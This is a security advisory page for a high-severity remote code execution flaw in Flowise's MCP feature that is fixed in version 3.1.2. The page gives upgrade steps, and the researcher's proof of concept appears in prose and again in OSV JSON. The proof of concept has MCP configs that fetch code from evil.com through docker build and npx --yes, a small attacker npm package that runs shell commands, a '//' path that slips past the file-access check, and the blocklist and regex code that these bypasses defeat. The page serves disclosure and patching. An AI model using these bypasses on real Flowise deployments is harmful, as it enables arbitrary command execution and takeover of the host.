GHSA-m99r-2hxc-cp3q: Flowise Remote Code Execution Vulnerability
HIGH
CWE-184
Published
Advisory Summary
GHSA-m99r-2hxc-cp3q is a HIGH remote code execution vulnerability (CWE-184: Incomplete List of Disallowed Inputs) affecting Flowise libraries in the npm ecosystem. The issue involves flowise has an mcp security bypass that enables rce. Remediation is available by upgrading affected packages to version 3.1.2.
GHSA-m99r-2hxc-cp3q at a Glance
CVE Identifier
N/A
GHSA Identifier
GHSA-m99r-2hxc-cp3q
Severity
HIGH
CVSS v3.1 Base Score
N/A
CWE Classification
CWE-184: Incomplete List of Disallowed Inputs
Affected Product
Flowise
Package Ecosystem
npm
Published Date
Last Updated
How to Fix GHSA-m99r-2hxc-cp3q
To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
flowise
fixed: 3.1.2
npm install flowise@3.1.2
flowise-components
fixed: 3.1.2
npm install flowise-components@3.1.2
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls flowiseHow to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-m99r-2hxc-cp3q, inspect your project dependencies using npm:
npm ls flowiseAnalyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.2), your application is affected.
Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-184: Incomplete List of Disallowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
## Summary
There are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods
## Details
### 【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution
The attacker configures the interface through the MCP tool to provide {"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration
→ Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build)
→ docker build <remote-URL> will pull the Dockerfile from the remote address and execute the RUN instructions within it
→ Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine
Precondition:
1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows
2. The deployment environment has the docker command
Vulnerable function - validateCommandFlags:
```
file: packages/components/nodes/tools/MCP/core.ts:260-310
const COMMAND_FLAG_BLACKLIST: Record<string, string[]> = {
docker: [
'run', 'exec', '-v', '--volume', '--privileged', '--cap-add',
'--security-opt', '--network', '--pid', '--ipc'
// 'build', 'pull', 'push', 'cp', 'commit' are not on the blocklist
],
npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
npm: ['run', 'exec', 'install', '--prefix', '-g', '--global', 'publish', 'adduser', 'login'],
// ...
}
export function validateCommandFlags(command: string, args: string[]): ValidationResult {
const blacklist = COMMAND_FLAG_BLACKLIST[command] || []
for (const arg of args) {
if (blacklist.includes(arg)) {
return { valid: false, error: `Argument '${arg}' is not allowed for command '${command}'` }
}
}
return { valid: true }
}
```
Reproduction process:
Add MCP config via UI or API interface, for example:
<img width="1280" height="414" alt="2f0b6dfad5458616781921e1c28339d0" src="https://github.com/user-attachments/assets/6c8419c5-6261-46bb-8a30-3ac1ec3fb599" />
Then execute:
```
POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17
{"question": "1"}
```
After execution, the command can be triggered to execute docker build http://evil.com
<img width="1280" height="319" alt="f98e1d91428be6077ac6cf0472285f17" src="https://github.com/user-attachments/assets/856d46b4-7949-4091-bed9-a7c3fecc62f0" />
If a privileged container is deployed, then it can fully control the Flowise host machine
### 【Vulnerability two】 npx --yes long parameter alias bypassing blocklist leads to remote code execution
The attacker configures the MCP tool to provide {"command":"npx","args":["--yes","malicious-package"]}
→ validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes
→ npx --yes malicious-package automatically agrees to install and execute any npm package
→ Leads to remote code execution (RCE) on the server
Precondition:
1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows
2. The deployment environment has the npx command
npx blocklist:
```
file: packages/components/nodes/tools/MCP/core.ts:270-280
npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
// Only the short parameter -y is present, without the long parameter alias --yes
```
Reproduction process:
Add MCP config via UI or API interface, for example:
<img width="1910" height="690" alt="85ea14ea224df9ed501827dfa47afb09" src="https://github.com/user-attachments/assets/8f3a2299-5460-4d23-b113-79ba4a9e52b6" />
```
{
"command": "npx",
"args":["--yes", "http://evil.com/FileName.tar"]
}
```
Contents of the tar file:
```
// index.js
#!/usr/bin/env node
const http = require('http');
const { execSync } = require('child_process');
const result = execSync('id && hostname').toString().trim();
console.error('[MCP-RCE-002] npx --yes bypass: ' + result);
// package.json
{
"name": "attacker-mcp-pkg",
"version": "1.0.0",
"bin": {
"attacker-mcp-pkg": "./index.js"
},
"scripts": {
"postinstall": ""
}
}
```
Then execute:
```
POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17
{"question": "1"}
```
can trigger the vulnerability, execute the attacker's commands, and achieve RCE:
<img width="3026" height="256" alt="4c466067deb4606a38e4b73806661328" src="https://github.com/user-attachments/assets/e9821e3f-bda4-4c6a-bcd1-0b19053045c9" />
### node command bypassing local file restrictions leads to remote code execution
When configuring the CustomMCP node, the attacker provides {"command":"node","args":["local file"]}
→ Bypass the security restrictions of validateArgsForLocalFileAccess
→ Node process loads local files and executes arbitrary code → RCE
Precondition:
Have a Flowise account
Analysis of Vulnerable Code:
```
// packages/components/nodes/tools/MCP/core.ts:177-220
export const validateArgsForLocalFileAccess = (args: string[]): void => {
const dangerousPatterns = [
// Absolute paths
/^\/[^/]/, // Unix absolute paths starting with /
/^[a-zA-Z]:\\/, // Windows absolute paths like C:\
// Relative paths that could escape current directory
/\.\.\//, // Parent directory traversal with ../
/\.\.\\/, // Parent directory traversal with ..\
/^\.\./, // Starting with ..
// Local file access patterns
/^\.\//, // Current directory with ./
/^~\//, // Home directory with ~/
/^file:\/\//, // File protocol
// Common file extensions that shouldn't be accessed
/\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i,
// File flags and options that could access local files
/^--?(?:file|input|output|config|load|save|import|export|read|write)=/i,
/^--?(?:file|input|output|config|load|save|import|export|read|write)$/i
]
```
The above are the main restrictions imposed by the validateArgsForLocalFileAccess function, and it can be found that the regular expression "/^\/[^/]/" has a matching issue
As the comment says, this regular expression essentially detects whether it is a Unix absolute path, which matches /etc/passwd but does not match //etc/passwd (the second character is '/')
<img width="1280" height="570" alt="ea354264cbb2ace6a3a6a16e00f1d298" src="https://github.com/user-attachments/assets/9ca88790-77ea-4d42-8910-09e4453f981a" />
Therefore, the limitation of this function can be bypassed by starting with //
** Reproduction process: **
Create a new chatflow as follows:
<img width="1280" height="716" alt="7e884613b5897509b39467f8f3b7aae1" src="https://github.com/user-attachments/assets/478c7a89-4e77-4a5d-b063-de16cb640f92" />
After saving, cmd.js will be uploaded to the ~/.flowise/storage/{orgId}/{chatflow_id}/ directory
orgId can be obtained during login, and chatflow_id will also be returned when saving chatflow:
<img width="1280" height="702" alt="48b5ab8412babba312f502be5db1dad3" src="https://github.com/user-attachments/assets/090292cf-6361-43cd-91d7-eec6e578255b" />
For example:
```
~/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js
```
Since paths like ~/ are restricted, and an absolute path needs to be obtained, use the following method:
<img width="1280" height="716" alt="990e1c81ed3957c5ae823e55efec15a5" src="https://github.com/user-attachments/assets/02c2a949-559a-4ee4-9675-c50a203d1e99" />
```
POST /api/v1/export-import/import HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
x-request-from: internal
Cookie: cookie
Connection: keep-alive
Content-Length: 479
{
"ChatMessage": [
{
"id": "11111111-2222-4333-8444-555555555555",
"role": "userMessage",
"chatflowid": "{chatflow_id}",
"content": "seed for home path test",
"chatType": "EXTERNAL",
"chatId": "audit-home-001",
"createdDate": "2026-03-04T06:40:00.000Z",
"fileUploads": "[{\"type\":\"stored-file\",\"name\":\"poc.txt\",\"mime\":\"text/plain\"}]"
}
]
}
```
<img width="1280" height="748" alt="d7f947940f4e6b6e95a61bcc301c25c0" src="https://github.com/user-attachments/assets/482fb78c-dbc8-4a0d-a042-4c993e976f10" />
```
POST /api/v1/export-import/chatflow-messages HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
x-request-from: internal
Cookie: cookie
Connection: keep-alive
Content-Length: 57
{"chatflowId":"{chatflow_id}"}
```
After obtaining the absolute path, simply modify the path in args to the path of the file name:
```
{
"command": "node",
"args": ["//root/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js"]
}
```
After saving, execution will trigger RCE
```
POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17
{"question": "1"}
```
## Impact
This vulnerability allows attackers to execute arbitrary commands on the Flowise server .
GHSA-m99r-2hxc-cp3q Affected Flowise Versions
2 component(s)
Fixed Versions:
3.1.2
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
flowise
|
npm |
< 3.1.2
|
3.1.2
|
|
flowise-components
|
npm |
< 3.1.2
|
3.1.2
|
References
Frequently Asked Questions
What is GHSA-m99r-2hxc-cp3q?
GHSA-m99r-2hxc-cp3q is a security vulnerability in Flowise involving Flowise has an MCP Security Bypass that Enables RCE under CWE-184: Incomplete List of Disallowed Inputs.
Which Flowise versions are affected?
Affected versions include releases prior to 3.1.2 across affected packages: flowise, flowise-components.
What version fixes GHSA-m99r-2hxc-cp3q?
Upgrading to 3.1.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flowise affected?
Yes, flowise is affected in releases prior to 3.1.2. Upgrade your dependency to 3.1.2 or later.
Is flowise-components affected?
Yes, flowise-components is affected in releases prior to 3.1.2. Upgrade your dependency to 3.1.2 or later.
What CWE is associated with GHSA-m99r-2hxc-cp3q?
GHSA-m99r-2hxc-cp3q is classified under CWE-184: Incomplete List of Disallowed Inputs (The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.).
How can I check npm dependencies for GHSA-m99r-2hxc-cp3q?
Run the dependency tree command: 'npm ls flowise'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-m99r-2hxc-cp3q",
"modified" : "2026-05-15T23:47:38Z",
"published" : "2026-05-14T14:57:30Z",
"aliases" : [ ],
"summary" : "Flowise has an MCP Security Bypass that Enables RCE",
"details" : "## Summary\nThere are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods\n\n## Details\n\n\n### 【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution \n\nThe attacker configures the interface through the MCP tool to provide {\"command\":\"docker\",\"args\":[\"build\",\"https://evil.com/\"]} as the Custom MCP Server configuration \n→ Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build)\n→ docker build <remote-URL> will pull the Dockerfile from the remote address and execute the RUN instructions within it\n→ Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine \n\nPrecondition: \n1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows\n2. The deployment environment has the docker command\n\nVulnerable function - validateCommandFlags: \n\n```\nfile: packages/components/nodes/tools/MCP/core.ts:260-310\n\nconst COMMAND_FLAG_BLACKLIST: Record<string, string[]> = {\n docker: [\n 'run', 'exec', '-v', '--volume', '--privileged', '--cap-add',\n '--security-opt', '--network', '--pid', '--ipc'\n // 'build', 'pull', 'push', 'cp', 'commit' are not on the blocklist \n ],\n npx: ['-c', '--call', '--shell-auto-fallback', '-y'],\n npm: ['run', 'exec', 'install', '--prefix', '-g', '--global', 'publish', 'adduser', 'login'],\n // ...\n}\nexport function validateCommandFlags(command: string, args: string[]): ValidationResult {\n const blacklist = COMMAND_FLAG_BLACKLIST[command] || []\n for (const arg of args) {\n if (blacklist.includes(arg)) {\n return { valid: false, error: `Argument '${arg}' is not allowed for command '${command}'` }\n }\n }\n return { valid: true }\n}\n```\n\nReproduction process:\n\nAdd MCP config via UI or API interface, for example: \n\n<img width=\"1280\" height=\"414\" alt=\"2f0b6dfad5458616781921e1c28339d0\" src=\"https://github.com/user-attachments/assets/6c8419c5-6261-46bb-8a30-3ac1ec3fb599\" />\n\nThen execute: \n\n```\nPOST /api/v1/prediction/{chatflows_id} HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAuthorization: Bearer apikey\nContent-Length: 17\n\n{\"question\": \"1\"}\n```\n\nAfter execution, the command can be triggered to execute docker build http://evil.com \n\n<img width=\"1280\" height=\"319\" alt=\"f98e1d91428be6077ac6cf0472285f17\" src=\"https://github.com/user-attachments/assets/856d46b4-7949-4091-bed9-a7c3fecc62f0\" />\n\nIf a privileged container is deployed, then it can fully control the Flowise host machine \n\n### 【Vulnerability two】 npx --yes long parameter alias bypassing blocklist leads to remote code execution\n\nThe attacker configures the MCP tool to provide {\"command\":\"npx\",\"args\":[\"--yes\",\"malicious-package\"]} \n→ validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes\n→ npx --yes malicious-package automatically agrees to install and execute any npm package\n→ Leads to remote code execution (RCE) on the server \n\nPrecondition: \n1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows\n2. The deployment environment has the npx command\n\nnpx blocklist:\n\n```\nfile: packages/components/nodes/tools/MCP/core.ts:270-280\n\nnpx: ['-c', '--call', '--shell-auto-fallback', '-y'],\n// Only the short parameter -y is present, without the long parameter alias --yes\n```\n\nReproduction process:\nAdd MCP config via UI or API interface, for example: \n\n<img width=\"1910\" height=\"690\" alt=\"85ea14ea224df9ed501827dfa47afb09\" src=\"https://github.com/user-attachments/assets/8f3a2299-5460-4d23-b113-79ba4a9e52b6\" />\n\n```\n{\n \"command\": \"npx\",\n \"args\":[\"--yes\", \"http://evil.com/FileName.tar\"]\n}\n```\n\nContents of the tar file:\n\n```\n// index.js\n#!/usr/bin/env node\nconst http = require('http');\nconst { execSync } = require('child_process');\n\nconst result = execSync('id && hostname').toString().trim();\nconsole.error('[MCP-RCE-002] npx --yes bypass: ' + result);\n\n// package.json\n{\n \"name\": \"attacker-mcp-pkg\",\n \"version\": \"1.0.0\",\n \"bin\": {\n \"attacker-mcp-pkg\": \"./index.js\"\n },\n \"scripts\": {\n \"postinstall\": \"\"\n }\n}\n```\nThen execute: \n\n```\nPOST /api/v1/prediction/{chatflows_id} HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAuthorization: Bearer apikey\nContent-Length: 17\n\n{\"question\": \"1\"}\n```\n\ncan trigger the vulnerability, execute the attacker's commands, and achieve RCE:\n\n<img width=\"3026\" height=\"256\" alt=\"4c466067deb4606a38e4b73806661328\" src=\"https://github.com/user-attachments/assets/e9821e3f-bda4-4c6a-bcd1-0b19053045c9\" />\n\n### node command bypassing local file restrictions leads to remote code execution\n\nWhen configuring the CustomMCP node, the attacker provides {\"command\":\"node\",\"args\":[\"local file\"]} \n→ Bypass the security restrictions of validateArgsForLocalFileAccess \n→ Node process loads local files and executes arbitrary code → RCE \n\nPrecondition: \nHave a Flowise account \n\nAnalysis of Vulnerable Code:\n\n```\n// packages/components/nodes/tools/MCP/core.ts:177-220\n\nexport const validateArgsForLocalFileAccess = (args: string[]): void => {\n const dangerousPatterns = [\n // Absolute paths\n /^\\/[^/]/, // Unix absolute paths starting with /\n /^[a-zA-Z]:\\\\/, // Windows absolute paths like C:\\\n\n // Relative paths that could escape current directory\n /\\.\\.\\//, // Parent directory traversal with ../\n /\\.\\.\\\\/, // Parent directory traversal with ..\\\n /^\\.\\./, // Starting with ..\n\n // Local file access patterns\n /^\\.\\//, // Current directory with ./\n /^~\\//, // Home directory with ~/\n /^file:\\/\\//, // File protocol\n\n // Common file extensions that shouldn't be accessed\n /\\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i,\n\n // File flags and options that could access local files\n /^--?(?:file|input|output|config|load|save|import|export|read|write)=/i,\n /^--?(?:file|input|output|config|load|save|import|export|read|write)$/i\n ]\n```\n\nThe above are the main restrictions imposed by the validateArgsForLocalFileAccess function, and it can be found that the regular expression \"/^\\/[^/]/\" has a matching issue \n\nAs the comment says, this regular expression essentially detects whether it is a Unix absolute path, which matches /etc/passwd but does not match //etc/passwd (the second character is '/') \n\n<img width=\"1280\" height=\"570\" alt=\"ea354264cbb2ace6a3a6a16e00f1d298\" src=\"https://github.com/user-attachments/assets/9ca88790-77ea-4d42-8910-09e4453f981a\" />\n\nTherefore, the limitation of this function can be bypassed by starting with //\n\n** Reproduction process: **\n\nCreate a new chatflow as follows:\n\n<img width=\"1280\" height=\"716\" alt=\"7e884613b5897509b39467f8f3b7aae1\" src=\"https://github.com/user-attachments/assets/478c7a89-4e77-4a5d-b063-de16cb640f92\" />\n\nAfter saving, cmd.js will be uploaded to the ~/.flowise/storage/{orgId}/{chatflow_id}/ directory\n\norgId can be obtained during login, and chatflow_id will also be returned when saving chatflow:\n\n<img width=\"1280\" height=\"702\" alt=\"48b5ab8412babba312f502be5db1dad3\" src=\"https://github.com/user-attachments/assets/090292cf-6361-43cd-91d7-eec6e578255b\" />\n\nFor example: \n```\n~/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js\n```\n\nSince paths like ~/ are restricted, and an absolute path needs to be obtained, use the following method:\n\n<img width=\"1280\" height=\"716\" alt=\"990e1c81ed3957c5ae823e55efec15a5\" src=\"https://github.com/user-attachments/assets/02c2a949-559a-4ee4-9675-c50a203d1e99\" />\n\n```\nPOST /api/v1/export-import/import HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nx-request-from: internal\nCookie: cookie\nConnection: keep-alive\nContent-Length: 479\n\n {\n \"ChatMessage\": [\n {\n \"id\": \"11111111-2222-4333-8444-555555555555\",\n \"role\": \"userMessage\",\n \"chatflowid\": \"{chatflow_id}\",\n \"content\": \"seed for home path test\",\n \"chatType\": \"EXTERNAL\",\n \"chatId\": \"audit-home-001\",\n \"createdDate\": \"2026-03-04T06:40:00.000Z\",\n \"fileUploads\": \"[{\\\"type\\\":\\\"stored-file\\\",\\\"name\\\":\\\"poc.txt\\\",\\\"mime\\\":\\\"text/plain\\\"}]\"\n }\n ]\n }\n```\n\n\n<img width=\"1280\" height=\"748\" alt=\"d7f947940f4e6b6e95a61bcc301c25c0\" src=\"https://github.com/user-attachments/assets/482fb78c-dbc8-4a0d-a042-4c993e976f10\" />\n\n```\nPOST /api/v1/export-import/chatflow-messages HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nx-request-from: internal\nCookie: cookie\nConnection: keep-alive\nContent-Length: 57\n\n{\"chatflowId\":\"{chatflow_id}\"}\n\n```\n\nAfter obtaining the absolute path, simply modify the path in args to the path of the file name: \n\n```\n {\n \"command\": \"node\",\n \"args\": [\"//root/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js\"]\n }\n```\n\nAfter saving, execution will trigger RCE \n\n\n```\nPOST /api/v1/prediction/{chatflows_id} HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAuthorization: Bearer apikey\nContent-Length: 17\n\n{\"question\": \"1\"}\n```\n\n## Impact\n\nThis vulnerability allows attackers to execute arbitrary commands on the Flowise server .",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "flowise"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.1.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.1.1"
}
}, {
"package" : {
"ecosystem" : "npm",
"name" : "flowise-components"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.1.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.1.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-m99r-2hxc-cp3q"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/FlowiseAI/Flowise"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-184" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-14T14:57:30Z",
"nvd_published_at" : null
}
}